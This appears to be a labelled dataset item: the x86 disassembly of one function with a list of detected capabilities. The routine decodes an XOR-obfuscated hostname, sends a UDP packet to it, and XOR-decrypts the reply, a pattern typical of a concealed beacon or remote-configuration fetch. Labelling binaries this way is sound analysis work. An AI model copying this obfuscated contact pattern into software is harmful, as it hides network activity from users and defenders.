Function at 0x1000c0fd
Capabilities:
Create udp socket
Encode data using xor
Get socket status
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2178
call fcn.10018c90
mov eax, dword [0x1002a080]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x2168], eax
xor eax, eax
push esi
push edi
mov word [ebp - 0x2054], ax
lea edi, [ebp - 0x2052]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor ebx, ebx
stosw word es:[edi], ax
mov dword [ebp - 0x2164], ebx
mov dword [ebp - 0x14], 0xe8a7e1ed
mov dword [ebp - 0x10], 0xe7fcf0e5
mov dword [ebp - 0xc], 0x89e7eaa7
xor eax, eax
xor byte [ebp + eax - 0x14], 0x89
inc eax
cmp eax, 0xc
jb 0x1000c153
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
cmp esi, ebx
je 0x1000c1a2
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x1000c1a2
cmp dword [eax], ebx
je 0x1000c1a2
push 2
pop eax
push 0x4982
mov word [ebp - 0x2054], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2052], ax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x2050], eax
cmp dword [ebp - 0x2050], ebx
je 0x1000c370
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x216c], eax
cmp eax, 0xffffffff
je 0x1000c370
push 0x10
pop esi
push esi
lea ecx, [ebp - 0x2054]
push ecx
push ebx
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0x2160]
push ecx
push eax
mov word [ebp - 0x2160], 1
call dword [sym.imp.WS2_32.dll_sendto]
test eax, eax
jle 0x1000c364
mov eax, dword [ebp - 0x216c]
push 0xf8
mov dword [ebp - 0x2158], eax
lea eax, [ebp - 0x2150]
push ebx
push eax
mov dword [ebp - 0x215c], edi
mov dword [ebp - 0x2154], ebx
call fcn.1000e030
add esp, 0xc
lea eax, [ebp - 0x2178]
push eax
push ebx
push ebx
lea eax, [ebp - 0x215c]
push eax
push ebx
mov dword [ebp - 0x2178], edi
mov dword [ebp - 0x2174], ebx
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
je 0x1000c364
lea eax, [ebp - 0x2170]
push eax
lea eax, [ebp - 0x2054]
push eax
push ebx
push 0x2000
lea eax, [ebp - 0x2044]
push eax
push dword [ebp - 0x216c]
mov dword [ebp - 0x2170], esi
call dword [sym.imp.WS2_32.dll_recvfrom]
mov esi, eax
cmp esi, edi
jle 0x1000c364
cmp byte [ebp - 0x2044], 1
jne 0x1000c364
lea edi, [esi - 1]
push edi
lea ecx, [ebp - 0x2043]
call fcn.1000bf17
pop ecx
xor eax, eax
lea ecx, [esi - 1]
mov dword [ebp - 0x44], 0x17b6bfb7
mov dword [ebp - 0x40], 0x1f0c31aa
mov dword [ebp - 0x3c], 0x8e55a53b
mov dword [ebp - 0x38], 0xc4a2cb45
mov dword [ebp - 0x34], 0x7e578f9c
mov dword [ebp - 0x30], 0x9f1d9187
mov dword [ebp - 0x2c], 0xb89bdb87
mov dword [ebp - 0x28], 0x3471e36a
mov dword [ebp - 0x24], 0x94b5891c
mov dword [ebp - 0x20], 0xa5f12949
mov dword [ebp - 0x1c], 0xf5d756b2
mov word [ebp - 0x18], 0x829c
mov dword [ebp - 0x2164], eax
cmp ecx, ebx
jle 0x1000c32b
xor edx, edx
push 0x2e
pop ebx
div ebx
mov eax, dword [ebp - 0x2164]
mov dl, byte [ebp + edx - 0x44]
xor byte [ebp + eax - 0x2043], dl
inc eax
mov dword [ebp - 0x2164], eax
cmp eax, ecx
jl 0x1000c306
xor ebx, ebx
mov byte [ebp + esi - 0x2044], bl
cmp dword [ebp - 0x2168], ebx
je 0x1000c35a
push edi
lea eax, [ebp - 0x2043]
push eax
push dword [ebp - 0x2168]
call fcn.1000ea80
mov eax, dword [ebp - 0x2168]
add esp, 0xc
mov byte [eax + esi - 1], bl
mov dword [ebp - 0x2164], 1
push dword [ebp - 0x216c]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x2164]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000cdb3
leave
ret